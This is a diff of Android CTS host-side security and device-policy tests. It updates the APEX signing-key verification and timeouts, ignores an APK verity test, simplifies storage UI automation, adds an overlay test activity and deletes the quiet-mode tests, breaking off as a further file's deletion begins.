diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.modules.updatablesharedlibs.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.modules.updatablesharedlibs.avbpubkey
new file mode 100644
index 00000000000..e95ecbe86bc
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.modules.updatablesharedlibs.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.ondevicepersonalization.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.ondevicepersonalization.avbpubkey
new file mode 100644
index 00000000000..4e74bb185bd
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.ondevicepersonalization.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.os.statsd.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.os.statsd.avbpubkey
new file mode 100644
index 00000000000..d78af8b8bef
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.os.statsd.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.permission.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.permission.avbpubkey
new file mode 100644
index 00000000000..9eaf8525963
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.permission.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.rkpd.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.rkpd.avbpubkey
new file mode 100644
index 00000000000..94d4e7090f4
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.rkpd.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.scheduling.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.scheduling.avbpubkey
new file mode 100644
index 00000000000..63bbfabc145
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.scheduling.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.uwb.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.uwb.avbpubkey
new file mode 100644
index 00000000000..ccdd6d65809
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.uwb.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.vibrator.drv2624.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.vibrator.drv2624.avbpubkey
new file mode 100644
index 00000000000..479a8686c7e
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.vibrator.drv2624.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.vibrator.sunfish.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.vibrator.sunfish.avbpubkey
new file mode 100644
index 00000000000..497aa290ec1
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.vibrator.sunfish.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.virt.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.virt.avbpubkey
new file mode 100644
index 00000000000..79ab8db4fc6
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.virt.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.vndk.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.vndk.avbpubkey
new file mode 100644
index 00000000000..f408d2b4945
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.vndk.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.wifi.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.wifi.avbpubkey
new file mode 100644
index 00000000000..e98ee34db08
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.wifi.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.google.cf.apex.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.google.cf.apex.avbpubkey
new file mode 100644
index 00000000000..1fc39e1175d
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.google.cf.apex.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.google.emulated.camera.provider.hal.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.google.emulated.camera.provider.hal.avbpubkey
new file mode 100644
index 00000000000..0c28e11c7ed
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.google.emulated.camera.provider.hal.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
index b73c8d75f99..844111e5dad 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
@@ -30,14 +30,13 @@ import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import com.android.tradefed.util.FileUtil;
import com.android.tradefed.util.ZipUtil;
-import org.hamcrest.CustomTypeSafeMatcher;
-import org.hamcrest.Matcher;
+import com.google.common.truth.Expect;
+
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
-import org.junit.rules.ErrorCollector;
import org.junit.rules.TestRule;
import org.junit.runner.Description;
import org.junit.runner.RunWith;
@@ -87,7 +86,7 @@ public class ApexSignatureVerificationTest extends BaseHostJUnit4Test {
private ITestDevice mDevice;
@Rule
- public final ErrorCollector mErrorCollector = new ErrorCollector();
+ public final Expect mExpect = Expect.create();
@Before
public void setUp() throws Exception {
@@ -153,8 +152,8 @@ public class ApexSignatureVerificationTest extends BaseHostJUnit4Test {
while (it.hasNext()) {
final File wellKnownKey = (File) it.next();
- verifyPubKey("must not use well known pubkey", pubKeyFile,
- pubkeyShouldNotEqualTo(wellKnownKey));
+ mExpect.withMessage(entry.getKey() + " must not use well known pubkey")
+ .that(areKeysMatching(pubKeyFile, wellKnownKey)).isFalse();
}
}
}
@@ -192,7 +191,8 @@ public class ApexSignatureVerificationTest extends BaseHostJUnit4Test {
try {
apexes = mDevice.getActiveApexes();
for (ITestDevice.ApexInfo ap : apexes) {
- if (!ap.sourceDir.startsWith("/data/")) {
+ // Compressed APEXes on /system are decompressed to /data/apex/decompressed
+ if (!ap.sourceDir.startsWith("/data/apex/active")) {
mPreloadedApexPathMap.put(ap.name, ap.sourceDir);
}
}
@@ -279,24 +279,14 @@ public class ApexSignatureVerificationTest extends BaseHostJUnit4Test {
assertThat(mWellKnownKeyFileList).isNotEmpty();
}
- private <T> void verifyPubKey(String reason, T actual, Matcher<? super T> matcher) {
- mErrorCollector.checkThat(reason, actual, matcher);
- }
-
- private static Matcher<File> pubkeyShouldNotEqualTo(File wellknownKey) {
- return new CustomTypeSafeMatcher<File>("must not match well known key ") {
- @Override
- protected boolean matchesSafely(File actual) {
- boolean isMatchWellknownKey = false;
- try {
- isMatchWellknownKey = FileUtil.compareFileContents(actual, wellknownKey);
- } catch (IOException e) {
- e.printStackTrace();
- }
- // Assert fail if the keys matched
- return !isMatchWellknownKey;
- }
- };
+ private static boolean areKeysMatching(File pubkey, File wellknownKey) {
+ try {
+ return FileUtil.compareFileContents(pubkey, wellknownKey);
+ } catch (IOException e) {
+ throw new AssertionError(
+ "Failed to compare " + pubkey.getAbsolutePath() + " and "
+ + wellknownKey.getAbsolutePath());
+ }
}
/**
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
index f712a95b1b8..a58bd7c476d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
@@ -33,6 +33,7 @@ import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
import org.junit.After;
import org.junit.Before;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -43,6 +44,7 @@ import junitparams.Parameters;
@Presubmit
@RunWith(DeviceParameterizedRunner.class)
@AppModeFull
+@Ignore("b/303068306")
public final class ApkVerityInstallTest extends BaseAppSecurityTest {
private static final String PACKAGE_NAME = "android.appsecurity.cts.apkveritytestapp";
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 04603b3f9ed..ec265ef24b5 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -1468,12 +1468,12 @@ public class ClientTest {
private TestResult getResult() {
final TestResult result;
try {
- result = mResultQueue.poll(5, TimeUnit.SECONDS);
+ result = mResultQueue.poll(25, TimeUnit.SECONDS);
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
if (result == null) {
- throw new IllegalStateException("Activity didn't receive a Result in 5 seconds");
+ throw new IllegalStateException("Activity didn't receive a Result in 25 seconds");
}
return result;
}
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index cd6cbb43019..4672943b419 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -117,16 +117,14 @@ public class StorageTest extends InstrumentationTestCase {
}
private void clearSpaceGeneric(UiDevice device) throws UiObjectNotFoundException {
- int i = device.findObjects(android.support.test.uiautomator.By.scrollable(true)).size();
- for (int j = 0; j < i; j++) {
- UiScrollable localObject = new UiScrollable(new UiSelector().scrollable(true).instance(j));
- ((UiScrollable) localObject).setMaxSearchSwipes(10);
- try {
- ((UiScrollable) localObject).scrollIntoView(
- new UiSelector().textContains("internal storage"));
- } catch (UiObjectNotFoundException localUiObjectNotFoundException) {
- // Scrolling can fail if the UI is not scrollable
- }
+ UiScrollable localObject = new UiScrollable(new UiSelector().scrollable(true));
+ assertNotNull("Cannot find scrollable object.", localObject);
+ ((UiScrollable) localObject).setMaxSearchSwipes(10);
+ try {
+ ((UiScrollable) localObject).scrollIntoView(
+ new UiSelector().textContains("internal storage"));
+ } catch (UiObjectNotFoundException localUiObjectNotFoundException) {
+ // Scrolling can fail if the UI is not scrollable
}
device.findObject(new UiSelector().textContains("internal storage")).click();
device.waitForIdle();
@@ -164,21 +162,16 @@ public class StorageTest extends InstrumentationTestCase {
}
private void clearSpaceCar(UiDevice device) throws UiObjectNotFoundException {
- String storageString = "internal storage";
- int i = device.findObjects(android.support.test.uiautomator.By.scrollable(true)).size();
- for (int j = 0; j < i; j++) {
- UiScrollable localObject = new UiScrollable(new UiSelector().scrollable(true).instance(j));
- localObject.setMaxSearchSwipes(10);
- try {
- boolean found = localObject.scrollTextIntoView(storageString);
- if (found) {
- break;
- }
- } catch (UiObjectNotFoundException localUiObjectNotFoundException) {
- // Scrolling can fail if the UI is not scrollable
- }
+ UiScrollable localObject = new UiScrollable(new UiSelector().scrollable(true));
+ assertNotNull("Cannot find scrollable object.", localObject);
+ ((UiScrollable) localObject).setMaxSearchSwipes(10);
+ try {
+ ((UiScrollable) localObject).scrollIntoView(
+ new UiSelector().textContains("internal storage"));
+ } catch (UiObjectNotFoundException localUiObjectNotFoundException) {
+ // Scrolling can fail if the UI is not scrollable
}
- device.findObject(new UiSelector().textContains(storageString)).click();
+ device.findObject(new UiSelector().textContains("internal storage")).click();
device.waitForIdle();
device.findObject(new UiSelector().textContains("Clear storage")).click();
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/AndroidManifest.xml
index 03e4f7df0fb..315a1d28e3a 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/AndroidManifest.xml
@@ -20,6 +20,7 @@
<uses-library android:name="android.test.runner" />
<activity android:name=".OverlayTargetActivity" android:exported="false"
android:configChanges="@integer/config_changes_assets_paths" />
+ <activity android:name=".SimpleActivity" android:exported="true" />
<service android:name=".OverlayTargetService" android:exported="false" />
</application>
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/src/com/android/cts/overlay/target/OverlayTargetTest.java b/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/src/com/android/cts/overlay/target/OverlayTargetTest.java
index 938f1c41ffb..7c8b9e078a8 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/src/com/android/cts/overlay/target/OverlayTargetTest.java
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/src/com/android/cts/overlay/target/OverlayTargetTest.java
@@ -89,7 +89,7 @@ public class OverlayTargetTest {
public void overlayEnabled_activityInBackground_toForeground() throws Exception {
final OverlayTargetActivity targetActivity = mActivityTestRule.getActivity();
// Activity goes into background
- launchHome();
+ launchSimpleActivity();
mInstrumentation.waitForIdleSync();
final CountDownLatch latch = new CountDownLatch(1);
targetActivity.setConfigurationChangedCallback((activity, config) -> {
@@ -137,9 +137,11 @@ public class OverlayTargetTest {
() -> expected.equals(getStateForOverlay(overlayPackage)));
}
- private static void launchHome() {
- SystemUtil.runShellCommand("am start -W -a android.intent.action.MAIN"
- + " -c android.intent.category.HOME");
+ private void launchSimpleActivity() {
+ Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClass(mInstrumentation.getTargetContext(), SimpleActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mInstrumentation.startActivitySync(intent);
}
private static String getStateForOverlay(String overlayPackage) {
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/src/com/android/cts/overlay/target/SimpleActivity.java b/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/src/com/android/cts/overlay/target/SimpleActivity.java
new file mode 100644
index 00000000000..e580927105a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/src/com/android/cts/overlay/target/SimpleActivity.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.overlay.target;
+
+import android.app.Activity;
+
+/**
+ * Another activity doing nothing
+ */
+public class SimpleActivity extends Activity {
+}
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
deleted file mode 100644
index 741f07778fd..00000000000
--- a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
+++ /dev/null
@@ -1,305 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.launchertests;
-
-import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.setDefaultLauncher;
-
-import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertNotNull;
-import static junit.framework.Assert.assertNull;
-import static junit.framework.Assert.assertTrue;
-import static junit.framework.Assert.fail;
-
-import static org.testng.Assert.assertEquals;
-import static org.testng.Assert.assertThrows;
-
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.UserHandle;
-import android.os.UserManager;
-import android.support.test.uiautomator.UiDevice;
-import android.text.TextUtils;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.bedstead.nene.utils.ShellCommand;
-import com.android.compatibility.common.util.BlockingBroadcastReceiver;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.Arrays;
-import java.util.Set;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.stream.Collectors;
-
-/**
- * Test that runs {@link UserManager#trySetQuietModeEnabled(boolean, UserHandle)} API
- * against valid target user.
- */
-@RunWith(AndroidJUnit4.class)
-public class QuietModeTest {
- private static final String PARAM_TARGET_USER = "TARGET_USER";
- private static final String PARAM_ORIGINAL_DEFAULT_LAUNCHER = "ORIGINAL_DEFAULT_LAUNCHER";
- private static final ComponentName LAUNCHER_ACTIVITY =
- new ComponentName(
- "com.android.cts.launchertests.support",
- "com.android.cts.launchertests.support.LauncherActivity");
-
- private static final ComponentName COMMAND_RECEIVER =
- new ComponentName(
- "com.android.cts.launchertests.support",
- "com.android.cts.launchertests.support.QuietModeCommandReceiver");
- private static final String EXTRA_FLAGS = "quiet_mode_flags";
-
- private UserManager mUserManager;
- private UserHandle mTargetUser;
- private Context mContext;
- private String mOriginalLauncher;
- private UiDevice mUiDevice;
-
- @Before
- public void setupUserManager() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mUserManager = mContext.getSystemService(UserManager.class);
- }
-
- @Before
- public void readParams() {
- Context context = InstrumentationRegistry.getContext();
- Bundle arguments = InstrumentationRegistry.getArguments();
- UserManager userManager = context.getSystemService(UserManager.class);
- final int userSn = Integer.parseInt(arguments.getString(PARAM_TARGET_USER));
- mTargetUser = userManager.getUserForSerialNumber(userSn);
- mOriginalLauncher = arguments.getString(PARAM_ORIGINAL_DEFAULT_LAUNCHER);
- }
-
- @Before
- public void wakeupDeviceAndUnlock() throws Exception {
- mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- mUiDevice.wakeUp();
- mUiDevice.pressMenu();
- }
-
- @Before
- @After
- public void revertToDefaultLauncher() throws Exception {
- if (TextUtils.isEmpty(mOriginalLauncher)) {
- return;
- }
- setDefaultLauncher(InstrumentationRegistry.getInstrumentation(), mOriginalLauncher);
- }
-
- @Test
- public void testTryEnableQuietMode_defaultForegroundLauncher() throws Exception {
- setTestAppAsDefaultLauncher();
- startLauncherActivityInTestApp();
-
- Intent intent = trySetQuietModeEnabled(true);
- assertNotNull("Failed to receive ACTION_MANAGED_PROFILE_UNAVAILABLE broadcast", intent);
- assertTrue(mUserManager.isQuietModeEnabled(mTargetUser));
-
- intent = trySetQuietModeEnabled(false);
- assertNotNull("Failed to receive ACTION_MANAGED_PROFILE_AVAILABLE broadcast", intent);
- assertFalse(mUserManager.isQuietModeEnabled(mTargetUser));
- }
-
- @Test
- public void testTryEnableQuietMode_notForegroundLauncher() throws InterruptedException {
- setTestAppAsDefaultLauncher();
-
- assertThrows(SecurityException.class, () -> trySetQuietModeEnabled(true));
- assertFalse(mUserManager.isQuietModeEnabled(mTargetUser));
- }
-
- @Test
- public void testTryEnableQuietMode_notDefaultLauncher() throws Exception {
- startLauncherActivityInTestApp();
-
- assertThrows(SecurityException.class, () -> trySetQuietModeEnabled(true));
- assertFalse(mUserManager.isQuietModeEnabled(mTargetUser));
- }
-
- @Test
- public void testTryEnableQuietMode_noCredentialRequest() throws Exception {
- setTestAppAsDefaultLauncher();
- startLauncherActivityInTestApp();
-
- Intent intent = trySetQuietModeEnabled(true,
- UserManager.QUIET_MODE_DISABLE_ONLY_IF_CREDENTIAL_NOT_REQUIRED, true);
- assertNotNull("Failed to receive ACTION_MANAGED_PROFILE_UNAVAILABLE broadcast", intent);
- assertTrue(mUserManager.isQuietModeEnabled(mTargetUser));
-
- if (!ShellCommand.builder("dumpsys device_policy").execute()
- .contains("Keep profiles running: true")) {
- waitForUserLocked();
- }
-
- intent = trySetQuietModeEnabled(false,
- UserManager.QUIET_MODE_DISABLE_ONLY_IF_CREDENTIAL_NOT_REQUIRED, false);
- assertNull("Received ACTION_MANAGED_PROFILE_AVAILABLE broadcast", intent);
- assertTrue(mUserManager.isQuietModeEnabled(mTargetUser));
- }
-
- private void waitForUserLocked() throws Exception {
- // Should match a line in "dumpsys mount" output like this:
- // Local unlocked users: [0, 10]
- final Pattern p = Pattern.compile("Local unlocked users: \\[(.*)\\]");
- final long deadline = System.nanoTime() + TimeUnit.SECONDS.toNanos(60);
- while (System.nanoTime() < deadline) {
- final String output = mUiDevice.executeShellCommand("dumpsys mount");
- final Matcher matcher = p.matcher(output);
- assertTrue("Unexpected dupmsys mount output: " + output, matcher.find());
- final Set<Integer> unlockedUsers = Arrays.stream(matcher.group(1).split(", "))
- .map(Integer::valueOf)
- .collect(Collectors.toSet());
- if (!unlockedUsers.contains(mTargetUser.getIdentifier())) {
- return;
- }
- Thread.sleep(500);
- }
- fail("Cannot get the profile locked");
- }
-
- private Intent trySetQuietModeEnabled(boolean enabled, int flags,
- boolean expectsCredentialsNotNeeded) throws Exception {
- return trySetQuietModeEnabled(enabled, true, flags, expectsCredentialsNotNeeded);
- }
-
- @Test
- public void testTryEnableQuietMode() throws Exception {
- setTestAppAsDefaultLauncher();
- startLauncherActivityInTestApp();
-
- Intent intent = trySetQuietModeEnabled(true);
- assertNotNull("Failed to receive ACTION_MANAGED_PROFILE_UNAVAILABLE broadcast", intent);
- assertTrue(mUserManager.isQuietModeEnabled(mTargetUser));
- }
-
- @Test
- public void testTryDisableQuietMode() throws Exception {
- setTestAppAsDefaultLauncher();
- startLauncherActivityInTestApp();
-
- Intent intent = trySetQuietModeEnabled(false);
- assertNotNull("Failed to receive ACTION_MANAGED_PROFILE_AVAILABLE broadcast", intent);
- assertFalse(mUserManager.isQuietModeEnabled(mTargetUser));
- }
-
- private Intent trySetQuietModeEnabled(boolean enabled) throws Exception {
- return trySetQuietModeEnabled(enabled, false, 0, true);
- }
-
- private Intent trySetQuietModeEnabled(boolean enabled, boolean hasFlags, int flags,
- boolean expectsCredentialsNotNeeded) throws Exception {
- final String action = enabled
- ? Intent.ACTION_MANAGED_PROFILE_UNAVAILABLE
- : Intent.ACTION_MANAGED_PROFILE_AVAILABLE;
-
- BlockingBroadcastReceiver receiver =
- new BlockingBroadcastReceiver(mContext, action);
- try {
- receiver.register();
-
- boolean credentialNotNeeded = askLauncherSupportAppToSetQuietMode(enabled, hasFlags,
- flags);
- assertEquals(credentialNotNeeded, expectsCredentialsNotNeeded);
- return receiver.awaitForBroadcast();
- } finally {
- receiver.unregisterQuietly();
- }
- }
-
- /**
- * Ask launcher support test app to set quiet mode by sending broadcast.
- * <p>
- * We cannot simply make this package the launcher and call the API because instrumentation
- * process would always considered to be in the foreground. The trick here is to send
- * broadcast to another test app which is launcher itself and call the API through it.
- * The receiver will then send back the result, and it should be either true, false or
- * security-exception.
- * <p>
- * All the constants defined here should be aligned with
- * com.android.cts.launchertests.support.QuietModeCommandReceiver.
- */
- private boolean askLauncherSupportAppToSetQuietMode(boolean enabled, boolean hasFlags, int flags) throws Exception {
- Intent intent = new Intent("toggle_quiet_mode");
- intent.setComponent(COMMAND_RECEIVER);
- intent.putExtra("quiet_mode", enabled);
- intent.putExtra(Intent.EXTRA_USER, mTargetUser);
- if (hasFlags) {
- intent.putExtra(EXTRA_FLAGS, flags);
- }
-
- // Ask launcher support app to set quiet mode by sending broadcast.
- LinkedBlockingQueue<String> blockingQueue = new LinkedBlockingQueue<>();
- mContext.sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- blockingQueue.offer(getResultData());
- }
- }, null, 0, "", null);
-
- // Wait for the result.
- String result = null;
- for (int i = 0; i < 10; i++) {
- // Broadcast won't be delivered when the device is sleeping, so wake up the device
- // in between each attempt.
- wakeupDeviceAndUnlock();
- result = blockingQueue.poll(10, TimeUnit.SECONDS);
- if (!TextUtils.isEmpty(result)) {
- break;
- }
- }
-
- // Parse the result.
- assertNotNull(result);
- if ("true".equalsIgnoreCase(result)) {
- return true;
- } else if ("false".equalsIgnoreCase(result)) {
- return false;
- } else if ("security-exception".equals(result)) {
- throw new SecurityException();
- }
- throw new IllegalStateException("Unexpected result : " + result);
- }
-
- private void startActivitySync(String activity) throws Exception {
- mUiDevice.executeShellCommand("am start -W -n " + activity);
- }
-
- /**
- * Start the launcher activity in the test app to make it foreground.
- */
- private void startLauncherActivityInTestApp() throws Exception {
- startActivitySync(LAUNCHER_ACTIVITY.flattenToString());
- }
-
- private void setTestAppAsDefaultLauncher() {
- setDefaultLauncher(InstrumentationRegistry.getInstrumentation(),
- LAUNCHER_ACTIVITY.getPackageName());
- }
-}
-
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 7aaacf39430..b66c2b42cd7 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -241,6 +241,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@RequiresDevice
@Test
public void testAlwaysOnVpn() throws Exception {
+ assumeIsNotWatch();
int userId = getUserIdForAlwaysOnVpnTests();
installAppAsUser(VPN_APP_APK, userId);
executeDeviceTestClassNoRestrictBackground(".AlwaysOnVpnTest", userId);
@@ -253,6 +254,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@RequiresDevice
@Test
public void testAlwaysOnVpnLockDown() throws Exception {
+ assumeIsNotWatch();
int userId = getUserIdForAlwaysOnVpnTests();
installAppAsUser(VPN_APP_APK, userId);
try {
@@ -267,6 +269,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@RequiresDevice
@Test
public void testAlwaysOnVpnAcrossReboot() throws Exception {
+ assumeIsNotWatch();
int userId = getUserIdForAlwaysOnVpnTests();
try {
installAppAsUser(VPN_APP_APK, userId);
@@ -286,6 +289,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@RequiresDevice
@Test
public void testAlwaysOnVpnPackageUninstalled() throws Exception {
+ assumeIsNotWatch();
int userId = getUserIdForAlwaysOnVpnTests();
installAppAsUser(VPN_APP_APK, userId);
try {
@@ -303,6 +307,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@RequiresDevice
@Test
public void testAlwaysOnVpnUnsupportedPackage() throws Exception {
+ assumeIsNotWatch();
int userId = getUserIdForAlwaysOnVpnTests();
try {
// Target SDK = 23: unsupported
@@ -328,6 +333,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@RequiresDevice
@Test
public void testAlwaysOnVpnUnsupportedPackageReplaced() throws Exception {
+ assumeIsNotWatch();
int userId = getUserIdForAlwaysOnVpnTests();
try {
// Target SDK = 24: supported
@@ -350,6 +356,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@RequiresDevice
@Test
public void testAlwaysOnVpnPackageLogged() throws Exception {
+ assumeIsNotWatch();
int userId = getUserIdForAlwaysOnVpnTests();
// Will be uninstalled in tearDown().
installAppAsUser(VPN_APP_APK, userId);
@@ -598,7 +605,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@Test
public void testSetMeteredDataDisabledPackages() throws Exception {
assumeHasWifiFeature();
- assumeFalse("is watch", hasDeviceFeature("android.hardware.type.watch"));
+ assumeIsNotWatch();
installAppAsUser(METERED_DATA_APP_APK, mUserId);
@@ -1567,4 +1574,8 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
getDevice().executeShellCommand(
restricted ? RESTRICT_BACKGROUND_ON_CMD : RESTRICT_BACKGROUND_OFF_CMD);
}
+
+ private void assumeIsNotWatch() throws Exception {
+ assumeFalse("is watch", hasDeviceFeature("android.hardware.type.watch"));
+ }
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
deleted file mode 100644
index 2decdbba8a5..00000000000
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
+++ /dev/null
@@ -1,273 +0,0 @@
-package com.android.cts.devicepolicy;
-
-import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
-
